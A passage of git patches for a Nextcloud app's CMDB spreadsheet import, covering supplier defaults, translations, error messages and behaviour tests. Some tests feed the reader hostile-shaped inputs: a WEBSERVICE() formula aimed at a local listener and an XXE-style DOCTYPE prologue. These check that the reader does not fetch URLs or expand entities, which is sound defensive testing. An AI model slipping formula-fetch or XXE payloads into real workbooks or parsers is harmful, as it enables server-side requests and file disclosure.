only when registeredBy is Supplier and status is Active. Suppliers created from the Vendor column got type and status but no registeredBy, so the public catalogue could not show the provider of an imported module. The manufacturer pack (2.1.0) now sets registeredBy Supplier on the suppliers it creates. Existing suppliers that a name matches are not changed. Co-Authored-By: Claude Opus 5.5 --- lib/Settings/cmdb-import/topdesk-manufacturer.json | 6 +++--- tests/Unit/Service/Cmdb/CmdbImportProfileTest.php | 2 +- tests/Unit/Service/CmdbExportImportServiceTest.php | 3 +++ 3 files changed, 7 insertions(+), 4 deletions(-) diff --git a/lib/Settings/cmdb-import/topdesk-manufacturer.json b/lib/Settings/cmdb-import/topdesk-manufacturer.json index 49fd3ad0c..dec8b10c9 100644 --- a/lib/Settings/cmdb-import/topdesk-manufacturer.json +++ b/lib/Settings/cmdb-import/topdesk-manufacturer.json @@ -1,12 +1,12 @@ { "id": "stackiq-topdesk-manufacturer", "name": "TOPdesk CMDB export to stackiq supplier organisation", - "description": "The Vendor column (the maker of the software) becomes one organisation of type Supplier per distinct name. An empty Vendor means the row has no provider. Leverancier and Hostingpartij are not read.", + "description": "The Vendor column (the maker of the software) becomes one organisation of type Supplier per distinct name, registered as a Supplier so the public catalogue can show it as the module's provider. An empty Vendor means the row has no provider. Leverancier and Hostingpartij are not read.", "sourceFormat": "excel", - "version": "2.0.0", + "version": "2.1.0", "fieldMappings": [ { "source": "Vendor", "target": "name", "required": true, "transform": { "type": "trim" } } ], - "defaults": { "type": "Supplier", "status": "Active" }, + "defaults": { "type": "Supplier", "status": "Active", "registeredBy": "Supplier" }, "idStrategy": { "type": "generate" } } diff --git a/tests/Unit/Service/Cmdb/CmdbImportProfileTest.php b/tests/Unit/Service/Cmdb/CmdbImportProfileTest.php index 7f231a1e9..5a1f9f31c 100644 --- a/tests/Unit/Service/Cmdb/CmdbImportProfileTest.php +++ b/tests/Unit/Service/Cmdb/CmdbImportProfileTest.php @@ -134,7 +134,7 @@ public function testThePacksImplementTheColumnTable(): void { $this->assertSame(['Applicatie Eigenaar (Persoon)' => 'name', 'Applicatie Eigenaar (Functie)' => 'role'], $targets('businessOwner')); $this->assertSame(['module', 'manufacturer', 'municipality', 'usage', 'businessOwner'], CmdbImportProfile::TARGETS, 'no technical owner'); - $this->assertSame(['type' => 'Supplier', 'status' => 'Active'], $profile->pack(target: 'manufacturer')['defaults']); + $this->assertSame(['type' => 'Supplier', 'status' => 'Active', 'registeredBy' => 'Supplier'], $profile->pack(target: 'manufacturer')['defaults']); $this->assertSame(['type' => 'Municipality', 'status' => 'Active'], $profile->pack(target: 'municipality')['defaults']); $this->assertSame(['type' => 'Application'], $profile->createOnlyDefaults(target: 'module')); $this->assertSame(['interneAnnotation'], $profile->createOnlyFields(target: 'usage')); diff --git a/tests/Unit/Service/CmdbExportImportServiceTest.php b/tests/Unit/Service/CmdbExportImportServiceTest.php index 352452306..62ba3aba6 100644 --- a/tests/Unit/Service/CmdbExportImportServiceTest.php +++ b/tests/Unit/Service/CmdbExportImportServiceTest.php @@ -818,6 +818,9 @@ public function testTheFixtureCreatesModulesUsagesAndSuppliers(): void { $suppliers = array_filter($this->objects(self::ORGANIZATION), fn (array $o): bool => $o['type'] === 'Supplier'); $this->assertEqualsCanonicalizing(['Aangetekend B.V.', 'Fabfrikant'], array_column($suppliers, 'name')); + // The organisation read rule shows a supplier publicly only with registeredBy Supplier and status Active. + $this->assertSame(['Supplier', 'Supplier'], array_column($suppliers, 'registeredBy')); + $this->assertSame(['Active', 'Active'], array_values(array_column($suppliers, 'status'))); $modules = []; foreach ($this->objects(self::MODULE) as $module) { From a60995b4757e67857abdef689aa6fe60e2debac9 Mon Sep 17 00:00:00 2001 From: WilcoLouwerse Date: Mon, 5 Oct 2026 11:32:18 +0200 Subject: [PATCH 131/176] test(cmdb-import): replace the source-grep assertions with behaviour tests Two tests asserted substrings of source files: that the reader's code contains getOldCalculatedValue and no Calculation or Http, and that OrganizationSyncService and ContactpersoonService contain certain lines. A rename passed the first and any refactor broke the others, without either saying anything about behaviour. The reader test now reads a built workbook whose formulas would fetch a URL and compute 1+1, and asserts the cached values while a local listener at that URL receives no connection; a new test refuses a sheet with a DOCTYPE. The contact-person test now hands what the import stored to ContactpersoonService::processContactpersoon() and asserts it provisions no user and never reaches the user manager. Co-Authored-By: Claude Opus 5.5 --- .../Service/Cmdb/CmdbWorkbookReaderTest.php | 61 ++++++++++++++++--- .../Service/CmdbExportImportServiceTest.php | 44 +++++++++++-- 2 files changed, 89 insertions(+), 16 deletions(-) diff --git a/tests/Unit/Service/Cmdb/CmdbWorkbookReaderTest.php b/tests/Unit/Service/Cmdb/CmdbWorkbookReaderTest.php index 1d99a347a..f0c81f7bf 100644 --- a/tests/Unit/Service/Cmdb/CmdbWorkbookReaderTest.php +++ b/tests/Unit/Service/Cmdb/CmdbWorkbookReaderTest.php @@ -141,22 +141,63 @@ public function testAFormulaYieldsItsCachedValue(): void { }//end testAFormulaYieldsItsCachedValue() /** - * The reader source never calls the calculation engine nor an HTTP client. + * A formula that would fetch a URL yields its cached value, and nothing connects to that URL. + * + * A local listener stands in for the remote host: had the reader evaluated + * WEBSERVICE(), the listener would hold a pending connection. * * @return void */ public function testTheReaderNeverEvaluatesOrFetches(): void { - $source = (string)file_get_contents(CmdbTestSupport::appRoot() . '/lib/Service/Cmdb/CmdbWorkbookReader.php'); - $code = (string)preg_replace('#/\*.*?\*/|//[^\n]*#s', '', $source); - - $this->assertStringNotContainsString('getCalculatedValue', $code); - $this->assertStringNotContainsString('toArray', $code); - $this->assertStringNotContainsString('Calculation', $code); - $this->assertDoesNotMatchRegularExpression('/Http|Guzzle|curl_|file_get_contents\(\s*\$url/i', $code); - $this->assertStringContainsString('getOldCalculatedValue', $code); - $this->assertStringContainsString('setReadDataOnly(true)', $code); + $this->requireSpreadsheet(); + $server = stream_socket_server('tcp://127.0.0.1:0', $errorCode, $errorMessage); + $this->assertNotFalse($server, 'a local listener: ' . $errorMessage); + $address = (string)stream_socket_get_name($server, false); + $path = CmdbTestSupport::buildWorkbook( + sheets: [ + 'Beheerde Applicaties CMDB' => [ + ['APPID', 'Applicatie Naam', 'Roepnaam'], + [1, ['f' => 'WEBSERVICE("http://' . $address . '/naam")', 'v' => 'Gecachte naam'], ['f' => '1+1', 'v' => 'Niet berekend']], + ], + ] + ); + + try { + $rows = (new CmdbWorkbookReader())->read(path: $path, profile: $this->profile())['rows']; + $this->assertSame('Gecachte naam', $rows[0]['cells']['Applicatie Naam']); + $this->assertSame('Niet berekend', $rows[0]['cells']['Roepnaam'], 'the cached value, not 2'); + + stream_set_blocking($server, false); + $this->assertFalse(@stream_socket_accept($server, 0), 'nothing connected to the formula\'s URL'); + } finally { + fclose($server); + unlink($path); + } }//end testTheReaderNeverEvaluatesOrFetches() + /** + * A sheet with a DOCTYPE (the shape of an entity-expansion or XXE attack) is refused as NOT_XLSX. + * + * @return void + */ + public function testADoctypeIsRefused(): void { + $this->requireSpreadsheet(); + $path = CmdbTestSupport::buildWorkbook( + sheets: ['Beheerde Applicaties CMDB' => [['APPID', 'Applicatie Naam'], [1, 'Een']]], + prologue: ']>' + ); + + try { + (new CmdbWorkbookReader())->read(path: $path, profile: $this->profile()); + $this->fail('NOT_XLSX expected'); + } catch (CmdbImportException $e) { + $this->assertSame('NOT_XLSX', $e->getErrorCode()); + $this->assertSame(400, $e->getHttpStatus()); + } finally { + unlink($path); + } + }//end testADoctypeIsRefused() + /** * Shuffled columns and decorated headers map to the same rows. * diff --git a/tests/Unit/Service/CmdbExportImportServiceTest.php b/tests/Unit/Service/CmdbExportImportServiceTest.php index 62ba3aba6..390b6de65 100644 --- a/tests/Unit/Service/CmdbExportImportServiceTest.php +++ b/tests/Unit/Service/CmdbExportImportServiceTest.php @@ -1508,12 +1508,44 @@ public function testAnImportedContactPersonIsNeverAUser(): void { $this->assertSame([], array_diff(array_keys($person), ['id', 'contactsUid', 'organization', 'role'])); } - // OrganizationSyncService::performUserSync() selects contact persons with a username. - $sync = (string)file_get_contents(CmdbTestSupport::appRoot() . '/lib/Service/OrganizationSyncService.php'); - $this->assertStringContainsString('o.username IS NOT NULL', $sync, 'the selection changed: re-check that imported contact persons stay out of it'); - // ContactpersoonService::processContactpersoon() provisions only from an e-mail on the object. - $listener = (string)file_get_contents(CmdbTestSupport::appRoot() . '/lib/Service/ContactpersoonService.php'); - $this->assertStringContainsString("\$email = (\$contactData['email'] ?? \$contactData['e-mailadres'] ?? '');", $listener); + // No username key, so OrganizationSyncService::performUserSync(), which selects contact persons + // with a username, never picks one up; the key list above pins that. + // ContactpersoonService provisions a user from the e-mail on the object; given exactly what the + // import stored, it stops before it ever looks up or creates a user. + $container = $this->createMock(ContainerInterface::class); + $container->expects($this->never())->method('get'); + $listener = new \OCA\Stackiq\Service\ContactpersoonService( + contactPersonHandler: $this->createMock(\OCA\Stackiq\Service\Stackiq\ContactPersonHandler::class), + groupHandler: $this->createMock(\OCA\Stackiq\Service\Stackiq\GroupHandler::class), + hierarchyHandler: $this->createMock(\OCA\Stackiq\Service\Stackiq\HierarchyHandler::class), + logger: $this->logger(), + container: $container, + appManager: $this->createMock(\OCP\App\IAppManager::class), + config: $this->createMock(\OCP\IAppConfig::class), + settingsService: $this->createMock(SettingsService::class) + ); + foreach ($people as $person) { + $object = new class($person) { + /** + * Constructor. + * + * @param array $data The stored contact person. + */ + public function __construct( + private array $data, + ) { + } + + public function getId(): string { + return (string)$this->data['id']; + } + + public function getObject(): array { + return $this->data; + } + }; + $this->assertFalse($listener->processContactpersoon(contactPersonObject: $object), 'no user is provisioned for an imported contact person'); + } }//end testAnImportedContactPersonIsNeverAUser() /** From 089104115da44f6565a973de6d2ae9f0bd706857 Mon Sep 17 00:00:00 2001 From: WilcoLouwerse Date: Mon, 5 Oct 2026 11:41:01 +0200 Subject: [PATCH 132/176] fix(l10n): translate the CMDB import's new engine warnings and owner address book name The created-municipality and duplicate-APPID warnings, the generic step failure reason and the "Stackiq CMDB owners" address book had no catalogue key yet. Co-Authored-By: Claude Opus 5.5 --- l10n/en.js | 6 +++++- l10n/en.json | 6 +++++- l10n/nl.js | 6 +++++- l10n/nl.json | 6 +++++- 4 files changed, 20 insertions(+), 4 deletions(-) diff --git a/l10n/en.js b/l10n/en.js index 02b4c7800..68441f21f 100644 --- a/l10n/en.js +++ b/l10n/en.js @@ -1102,7 +1102,11 @@ OC.L10N.register( "The server could not store the uploaded file.": "The server could not store the uploaded file.", "Try again. If it keeps failing, the Nextcloud log has the details; check the free space and the upload settings of the server.": "Try again. If it keeps failing, the Nextcloud log has the details; check the free space and the upload settings of the server.", "You may not use stackiq's admin settings, so you cannot import a CMDB export.": "You may not use stackiq's admin settings, so you cannot import a CMDB export.", - "Ask a Nextcloud administrator to run the import, or to delegate stackiq's admin settings to your group.": "Ask a Nextcloud administrator to run the import, or to delegate stackiq's admin settings to your group." + "Ask a Nextcloud administrator to run the import, or to delegate stackiq's admin settings to your group.": "Ask a Nextcloud administrator to run the import, or to delegate stackiq's admin settings to your group.", + "No municipality named \"%s\" was found, so it was created. Check the name if you meant an existing one.": "No municipality named \"%s\" was found, so it was created. Check the name if you meant an existing one.", + "APPID %1$s is also on sheet \"%2$s\", which wins; this row is not imported": "APPID %1$s is also on sheet \"%2$s\", which wins; this row is not imported", + "Stackiq CMDB owners": "Stackiq CMDB owners", + "step \"%1$s\" failed (%2$s)": "step \"%1$s\" failed (%2$s)" }, "nplurals=2; plural=(n != 1);" ) diff --git a/l10n/en.json b/l10n/en.json index 21ab24661..39231df01 100644 --- a/l10n/en.json +++ b/l10n/en.json @@ -1101,6 +1101,10 @@ "The server could not store the uploaded file.": "The server could not store the uploaded file.", "Try again. If it keeps failing, the Nextcloud log has the details; check the free space and the upload settings of the server.": "Try again. If it keeps failing, the Nextcloud log has the details; check the free space and the upload settings of the server.", "You may not use stackiq's admin settings, so you cannot import a CMDB export.": "You may not use stackiq's admin settings, so you cannot import a CMDB export.", - "Ask a Nextcloud administrator to run the import, or to delegate stackiq's admin settings to your group.": "Ask a Nextcloud administrator to run the import, or to delegate stackiq's admin settings to your group." + "Ask a Nextcloud administrator to run the import, or to delegate stackiq's admin settings to your group.": "Ask a Nextcloud administrator to run the import, or to delegate stackiq's admin settings to your group.", + "No municipality named \"%s\" was found, so it was created. Check the name if you meant an existing one.": "No municipality named \"%s\" was found, so it was created. Check the name if you meant an existing one.", + "APPID %1$s is also on sheet \"%2$s\", which wins; this row is not imported": "APPID %1$s is also on sheet \"%2$s\", which wins; this row is not imported", + "Stackiq CMDB owners": "Stackiq CMDB owners", + "step \"%1$s\" failed (%2$s)": "step \"%1$s\" failed (%2$s)" } } diff --git a/l10n/nl.js b/l10n/nl.js index 5f87b9101..f07544ca6 100644 --- a/l10n/nl.js +++ b/l10n/nl.js @@ -1172,7 +1172,11 @@ OC.L10N.register( "The server could not store the uploaded file.": "De server kon het geüploade bestand niet opslaan.", "Try again. If it keeps failing, the Nextcloud log has the details; check the free space and the upload settings of the server.": "Probeer het opnieuw. Blijft het mislukken, dan staan de details in het Nextcloud-logboek; controleer de vrije ruimte en de uploadinstellingen van de server.", "You may not use stackiq's admin settings, so you cannot import a CMDB export.": "U mag de beheerinstellingen van stackiq niet gebruiken, dus u kunt geen CMDB-export importeren.", - "Ask a Nextcloud administrator to run the import, or to delegate stackiq's admin settings to your group.": "Vraag een Nextcloud-beheerder om de import uit te voeren, of om de beheerinstellingen van stackiq aan uw groep te delegeren." + "Ask a Nextcloud administrator to run the import, or to delegate stackiq's admin settings to your group.": "Vraag een Nextcloud-beheerder om de import uit te voeren, of om de beheerinstellingen van stackiq aan uw groep te delegeren.", + "No municipality named \"%s\" was found, so it was created. Check the name if you meant an existing one.": "Er is geen gemeente met de naam \"%s\" gevonden, dus die is aangemaakt. Controleer de naam als u een bestaande gemeente bedoelde.", + "APPID %1$s is also on sheet \"%2$s\", which wins; this row is not imported": "APPID %1$s staat ook op het tabblad \"%2$s\", dat voorgaat; deze rij wordt niet geïmporteerd", + "Stackiq CMDB owners": "Stackiq CMDB-eigenaren", + "step \"%1$s\" failed (%2$s)": "stap \"%1$s\" mislukt (%2$s)" }, "nplurals=2; plural=(n != 1);" ) diff --git a/l10n/nl.json b/l10n/nl.json index 366a6d6db..f50c85c5c 100644 --- a/l10n/nl.json +++ b/l10n/nl.json @@ -1171,6 +1171,10 @@ "The server could not store the uploaded file.": "De server kon het geüploade bestand niet opslaan.", "Try again. If it keeps failing, the Nextcloud log has the details; check the free space and the upload settings of the server.": "Probeer het opnieuw. Blijft het mislukken, dan staan de details in het Nextcloud-logboek; controleer de vrije ruimte en de uploadinstellingen van de server.", "You may not use stackiq's admin settings, so you cannot import a CMDB export.": "U mag de beheerinstellingen van stackiq niet gebruiken, dus u kunt geen CMDB-export importeren.", - "Ask a Nextcloud administrator to run the import, or to delegate stackiq's admin settings to your group.": "Vraag een Nextcloud-beheerder om de import uit te voeren, of om de beheerinstellingen van stackiq aan uw groep te delegeren." + "Ask a Nextcloud administrator to run the import, or to delegate stackiq's admin settings to your group.": "Vraag een Nextcloud-beheerder om de import uit te voeren, of om de beheerinstellingen van stackiq aan uw groep te delegeren.", + "No municipality named \"%s\" was found, so it was created. Check the name if you meant an existing one.": "Er is geen gemeente met de naam \"%s\" gevonden, dus die is aangemaakt. Controleer de naam als u een bestaande gemeente bedoelde.", + "APPID %1$s is also on sheet \"%2$s\", which wins; this row is not imported": "APPID %1$s staat ook op het tabblad \"%2$s\", dat voorgaat; deze rij wordt niet geïmporteerd", + "Stackiq CMDB owners": "Stackiq CMDB-eigenaren", + "step \"%1$s\" failed (%2$s)": "stap \"%1$s\" mislukt (%2$s)" } } From 7f452a47ce657c60d0246271e7f5688195d31b07 Mon Sep 17 00:00:00 2001 From: WilcoLouwerse Date: Mon, 5 Oct 2026 11:55:17 +0200 Subject: [PATCH 133/176] fix(cmdb-import): log the upload's name and give the engine refusals their own words The audit log lines "import started" and "import finished" read the upload's name from the options, but the controller never passed it, so every line logged an empty file name. The controller now passes the base name of the upload as fileName. WORKBOOK_TOO_LARGE, SCHEMA_OUTDATED, IMPORT_IN_PROGRESS and MUNICIPALITY_AMBIGUOUS fell through to the generic "The import failed" message; each now has a translated message saying what to do. Co-Authored-By: Claude Opus 5.5 --- l10n/en.js | 6 +- l10n/en.json | 6 +- l10n/nl.js | 6 +- l10n/nl.json | 6 +- lib/Controller/CmdbImportController.php | 10 +++- .../Controller/CmdbImportControllerTest.php | 55 +++++++++++++++++++ 6 files changed, 83 insertions(+), 6 deletions(-) diff --git a/l10n/en.js b/l10n/en.js index 68441f21f..4422e2a33 100644 --- a/l10n/en.js +++ b/l10n/en.js @@ -1106,7 +1106,11 @@ OC.L10N.register( "No municipality named \"%s\" was found, so it was created. Check the name if you meant an existing one.": "No municipality named \"%s\" was found, so it was created. Check the name if you meant an existing one.", "APPID %1$s is also on sheet \"%2$s\", which wins; this row is not imported": "APPID %1$s is also on sheet \"%2$s\", which wins; this row is not imported", "Stackiq CMDB owners": "Stackiq CMDB owners", - "step \"%1$s\" failed (%2$s)": "step \"%1$s\" failed (%2$s)" + "step \"%1$s\" failed (%2$s)": "step \"%1$s\" failed (%2$s)", + "The workbook is too large to read once unpacked.": "The workbook is too large to read once unpacked.", + "The stackiq register is out of date; import its configuration again.": "The stackiq register is out of date; import its configuration again.", + "Another CMDB import is running; try again when it has finished.": "Another CMDB import is running; try again when it has finished.", + "Several municipalities have this name; choose one from the list.": "Several municipalities have this name; choose one from the list." }, "nplurals=2; plural=(n != 1);" ) diff --git a/l10n/en.json b/l10n/en.json index 39231df01..6b222d629 100644 --- a/l10n/en.json +++ b/l10n/en.json @@ -1105,6 +1105,10 @@ "No municipality named \"%s\" was found, so it was created. Check the name if you meant an existing one.": "No municipality named \"%s\" was found, so it was created. Check the name if you meant an existing one.", "APPID %1$s is also on sheet \"%2$s\", which wins; this row is not imported": "APPID %1$s is also on sheet \"%2$s\", which wins; this row is not imported", "Stackiq CMDB owners": "Stackiq CMDB owners", - "step \"%1$s\" failed (%2$s)": "step \"%1$s\" failed (%2$s)" + "step \"%1$s\" failed (%2$s)": "step \"%1$s\" failed (%2$s)", + "The workbook is too large to read once unpacked.": "The workbook is too large to read once unpacked.", + "The stackiq register is out of date; import its configuration again.": "The stackiq register is out of date; import its configuration again.", + "Another CMDB import is running; try again when it has finished.": "Another CMDB import is running; try again when it has finished.", + "Several municipalities have this name; choose one from the list.": "Several municipalities have this name; choose one from the list." } } diff --git a/l10n/nl.js b/l10n/nl.js index f07544ca6..480626971 100644 --- a/l10n/nl.js +++ b/l10n/nl.js @@ -1176,7 +1176,11 @@ OC.L10N.register( "No municipality named \"%s\" was found, so it was created. Check the name if you meant an existing one.": "Er is geen gemeente met de naam \"%s\" gevonden, dus die is aangemaakt. Controleer de naam als u een bestaande gemeente bedoelde.", "APPID %1$s is also on sheet \"%2$s\", which wins; this row is not imported": "APPID %1$s staat ook op het tabblad \"%2$s\", dat voorgaat; deze rij wordt niet geïmporteerd", "Stackiq CMDB owners": "Stackiq CMDB-eigenaren", - "step \"%1$s\" failed (%2$s)": "stap \"%1$s\" mislukt (%2$s)" + "step \"%1$s\" failed (%2$s)": "stap \"%1$s\" mislukt (%2$s)", + "The workbook is too large to read once unpacked.": "Het werkboek is uitgepakt te groot om te lezen.", + "The stackiq register is out of date; import its configuration again.": "Het stackiq-register is verouderd; importeer de configuratie ervan opnieuw.", + "Another CMDB import is running; try again when it has finished.": "Er loopt al een andere CMDB-import; probeer het opnieuw wanneer die klaar is.", + "Several municipalities have this name; choose one from the list.": "Meerdere gemeenten hebben deze naam; kies er een uit de lijst." }, "nplurals=2; plural=(n != 1);" ) diff --git a/l10n/nl.json b/l10n/nl.json index f50c85c5c..22b8f1941 100644 --- a/l10n/nl.json +++ b/l10n/nl.json @@ -1175,6 +1175,10 @@ "No municipality named \"%s\" was found, so it was created. Check the name if you meant an existing one.": "Er is geen gemeente met de naam \"%s\" gevonden, dus die is aangemaakt. Controleer de naam als u een bestaande gemeente bedoelde.", "APPID %1$s is also on sheet \"%2$s\", which wins; this row is not imported": "APPID %1$s staat ook op het tabblad \"%2$s\", dat voorgaat; deze rij wordt niet geïmporteerd", "Stackiq CMDB owners": "Stackiq CMDB-eigenaren", - "step \"%1$s\" failed (%2$s)": "stap \"%1$s\" mislukt (%2$s)" + "step \"%1$s\" failed (%2$s)": "stap \"%1$s\" mislukt (%2$s)", + "The workbook is too large to read once unpacked.": "Het werkboek is uitgepakt te groot om te lezen.", + "The stackiq register is out of date; import its configuration again.": "Het stackiq-register is verouderd; importeer de configuratie ervan opnieuw.", + "Another CMDB import is running; try again when it has finished.": "Er loopt al een andere CMDB-import; probeer het opnieuw wanneer die klaar is.", + "Several municipalities have this name; choose one from the list.": "Meerdere gemeenten hebben deze naam; kies er een uit de lijst." } } diff --git a/lib/Controller/CmdbImportController.php b/lib/Controller/CmdbImportController.php index d11507f42..779fb4e34 100644 --- a/lib/Controller/CmdbImportController.php +++ b/lib/Controller/CmdbImportController.php @@ -161,7 +161,7 @@ private function validateRequest(): array|JSONResponse { return $this->fromException(e: $e); } - return $this->readOptions(path: $upload['tmpName']); + return $this->readOptions(path: $upload['tmpName'], fileName: $upload['name']); }//end validateRequest() /** @@ -219,12 +219,13 @@ protected function iniBytes(string $name): ?int { * being cast to the string "Array". * * @param string $path The checked upload. + * @param string $fileName The upload's name as the client sent it; its base name is passed on for the audit log. * * @return array{path: string, options: array}|JSONResponse The import input, or the first error. * * @spec openspec/changes/cmdb-export-import/tasks.md#task-8 */ - private function readOptions(string $path): array|JSONResponse { + private function readOptions(string $path, string $fileName): array|JSONResponse { $missingRecords = $this->stringParam(name: 'missingRecords', default: 'keep'); if ($missingRecords === null) { return $this->invalidField(field: 'missingRecords'); @@ -263,6 +264,7 @@ private function readOptions(string $path): array|JSONResponse { 'municipalityName' => $municipalityName, 'updateExisting' => $updateExisting, 'operationId' => $this->request->getParam('operationId'), + 'fileName' => basename(str_replace('\\', '/', $fileName)), ], ]; }//end readOptions() @@ -370,6 +372,10 @@ private function message(string $code, array $details): string { 'NOT_CONFIGURED' => $this->l10n->t('Stackiq is not configured: the register or its schemas cannot be found.'), 'OPERATION_NOT_FOUND' => $this->l10n->t('No running CMDB import has this id.'), 'UPLOAD_FAILED' => $this->l10n->t('The server could not store the uploaded file. The details are in the Nextcloud log.'), + 'WORKBOOK_TOO_LARGE' => $this->l10n->t('The workbook is too large to read once unpacked.'), + 'SCHEMA_OUTDATED' => $this->l10n->t('The stackiq register is out of date; import its configuration again.'), + 'IMPORT_IN_PROGRESS' => $this->l10n->t('Another CMDB import is running; try again when it has finished.'), + 'MUNICIPALITY_AMBIGUOUS' => $this->l10n->t('Several municipalities have this name; choose one from the list.'), default => $this->l10n->t('The import failed. The details are in the Nextcloud log.'), }; }//end message() diff --git a/tests/Unit/Controller/CmdbImportControllerTest.php b/tests/Unit/Controller/CmdbImportControllerTest.php index 981a5be44..072b88df2 100644 --- a/tests/Unit/Controller/CmdbImportControllerTest.php +++ b/tests/Unit/Controller/CmdbImportControllerTest.php @@ -399,9 +399,45 @@ public static function serviceErrors(): array { 'rows' => [CmdbImportException::TOO_MANY_ROWS, 422, ['sheet' => 'Beheerde Applicaties CMDB', 'limit' => 10000]], 'municipality' => [CmdbImportException::MUNICIPALITY_INVALID, 422, []], 'corrupt' => [CmdbImportException::NOT_XLSX, 400, []], + 'unpacked size' => [CmdbImportException::WORKBOOK_TOO_LARGE, 413, ['maxUncompressedBytes' => 104857600]], + 'schema' => [CmdbImportException::SCHEMA_OUTDATED, 503, ['schema' => 'module', 'missing' => ['externalKey']]], + 'running' => [CmdbImportException::IMPORT_IN_PROGRESS, 409, []], + 'ambiguous' => [CmdbImportException::MUNICIPALITY_AMBIGUOUS, 422, ['matches' => ['00000000-0000-0000-0000-000000000001', '00000000-0000-0000-0000-000000000002']]], ]; }//end serviceErrors() + /** + * The engine codes added for the workbook, register, lock and municipality checks, with their words. + * + * @return array + */ + public static function engineMessages(): array { + return [ + 'unpacked size' => [CmdbImportException::WORKBOOK_TOO_LARGE, 'The workbook is too large to read once unpacked.'], + 'schema' => [CmdbImportException::SCHEMA_OUTDATED, 'The stackiq register is out of date; import its configuration again.'], + 'running' => [CmdbImportException::IMPORT_IN_PROGRESS, 'Another CMDB import is running; try again when it has finished.'], + 'ambiguous' => [CmdbImportException::MUNICIPALITY_AMBIGUOUS, 'Several municipalities have this name; choose one from the list.'], + ]; + }//end engineMessages() + + /** + * Each of these codes has its own translated message, not the generic one. + * + * @param string $code The error code. + * @param string $message The expected message. + * + * @return void + */ + #[DataProvider('engineMessages')] + public function testEngineCodesHaveTheirOwnMessage(string $code, string $message): void { + $service = $this->service(); + $service->method('import')->willThrowException(new CmdbImportException(errorCode: $code, message: 'internal')); + + $response = $this->controller(file: $this->file(path: $this->upload()), params: ['municipalityName' => 'Gemeente Voorbeeldstad'], service: $service)->import(); + + $this->assertSame($message, $response->getData()['message']); + }//end testEngineCodesHaveTheirOwnMessage() + /** * A service exception becomes its contract response. * @@ -493,6 +529,7 @@ public function testAValidUploadReturnsTheReport(): void { 'municipalityName' => 'Gemeente Voorbeeldstad', 'updateExisting' => false, 'operationId' => 'cmdb-00000000-0000-0000-0000-000000000000', + 'fileName' => 'export.xlsx', ] ) ->willReturn(['success' => true, 'summary' => ['created' => 2]]); @@ -525,6 +562,7 @@ public function testTheFieldsReachTheServiceAsSent(): void { 'municipalityName' => 'Gemeente Voorbeeldstad', 'updateExisting' => true, 'operationId' => 'not-a-cmdb-id', + 'fileName' => 'export.xlsx', ] ) ->willReturn(['success' => true]); @@ -564,6 +602,23 @@ public function testRefusalsAndFailuresAreLogged(): void { $this->controller(file: $this->file(path: $this->upload()), params: ['municipalityName' => 'X'], service: $service, logger: $logger)->import(); }//end testRefusalsAndFailuresAreLogged() + /** + * The upload's base name reaches the service as fileName, without any directory part the client sent. + * + * @return void + */ + public function testTheUploadsBaseNameReachesTheService(): void { + $service = $this->service(); + $service->expects($this->once())->method('import') + ->with($this->anything(), $this->callback(fn (array $options): bool => $options['fileName'] === 'CMDB export.xlsx')) + ->willReturn(['success' => true]); + + $file = $this->file(path: $this->upload(), name: 'C:\\Users\\beheer\\CMDB export.xlsx'); + $response = $this->controller(file: $file, params: ['municipalityName' => 'Gemeente Voorbeeldstad'], service: $service)->import(); + + $this->assertSame(200, $response->getStatus()); + }//end testTheUploadsBaseNameReachesTheService() + /** * The spellings of updateExisting and what each one means; null is refused. * From 99f99c20273e4c83b8d70c9e0384b1ac270201b4 Mon Sep 17 00:00:00 2001 From: WilcoLouwerse Date: Mon, 5 Oct 2026 12:06:32 +0200 Subject: [PATCH 134/176] fix(cmdb-import): show the page's own words for the four new engine refusals WORKBOOK_TOO_LARGE, SCHEMA_OUTDATED, IMPORT_IN_PROGRESS and MUNICIPALITY_AMBIGUOUS reached the page as unknown codes, so it showed "The import failed unexpectedly". Each now has a title and a hint: the unpacked limit the server applied, the schema that is out of date with a pointer to Force Update, a request to wait for the running import, and the number of municipalities sharing the typed name with a request to pick one from the list. Co-Authored-By: Claude Opus 5.5 --- l10n/en.js | 12 ++++++- l10n/en.json | 12 ++++++- l10n/nl.js | 12 ++++++- l10n/nl.json | 12 ++++++- src/utils/cmdbImport.js | 62 ++++++++++++++++++++++++++++++++++++ src/utils/cmdbImport.spec.js | 48 ++++++++++++++++++++++++++++ 6 files changed, 154 insertions(+), 4 deletions(-) diff --git a/l10n/en.js b/l10n/en.js index 4422e2a33..d45235e1e 100644 --- a/l10n/en.js +++ b/l10n/en.js @@ -1110,7 +1110,17 @@ OC.L10N.register( "The workbook is too large to read once unpacked.": "The workbook is too large to read once unpacked.", "The stackiq register is out of date; import its configuration again.": "The stackiq register is out of date; import its configuration again.", "Another CMDB import is running; try again when it has finished.": "Another CMDB import is running; try again when it has finished.", - "Several municipalities have this name; choose one from the list.": "Several municipalities have this name; choose one from the list." + "Several municipalities have this name; choose one from the list.": "Several municipalities have this name; choose one from the list.", + "Unpacked, the workbook is larger than {size}, the most the import reads.": "Unpacked, the workbook is larger than {size}, the most the import reads.", + "Remove sheets the import does not read, such as the archive sheet, or split the export, and try again. Nothing was imported.": "Remove sheets the import does not read, such as the archive sheet, or split the export, and try again. Nothing was imported.", + "The \"{schema}\" schema of the stackiq register is out of date.": "The \"{schema}\" schema of the stackiq register is out of date.", + "The stackiq register is out of date.": "The stackiq register is out of date.", + "It lacks properties the import matches on. Press Force Update at the top of this page to import the register configuration again, then try again. Nothing was imported.": "It lacks properties the import matches on. Press Force Update at the top of this page to import the register configuration again, then try again. Nothing was imported.", + "Another CMDB import is running.": "Another CMDB import is running.", + "Only one import runs at a time. Wait until it has finished and try again. Nothing was imported.": "Only one import runs at a time. Wait until it has finished and try again. Nothing was imported.", + "{count} municipalities have this name.": "{count} municipalities have this name.", + "Several municipalities have this name.": "Several municipalities have this name.", + "Choose the municipality from the list instead of typing its name. Nothing was imported.": "Choose the municipality from the list instead of typing its name. Nothing was imported." }, "nplurals=2; plural=(n != 1);" ) diff --git a/l10n/en.json b/l10n/en.json index 6b222d629..cd66a19fc 100644 --- a/l10n/en.json +++ b/l10n/en.json @@ -1109,6 +1109,16 @@ "The workbook is too large to read once unpacked.": "The workbook is too large to read once unpacked.", "The stackiq register is out of date; import its configuration again.": "The stackiq register is out of date; import its configuration again.", "Another CMDB import is running; try again when it has finished.": "Another CMDB import is running; try again when it has finished.", - "Several municipalities have this name; choose one from the list.": "Several municipalities have this name; choose one from the list." + "Several municipalities have this name; choose one from the list.": "Several municipalities have this name; choose one from the list.", + "Unpacked, the workbook is larger than {size}, the most the import reads.": "Unpacked, the 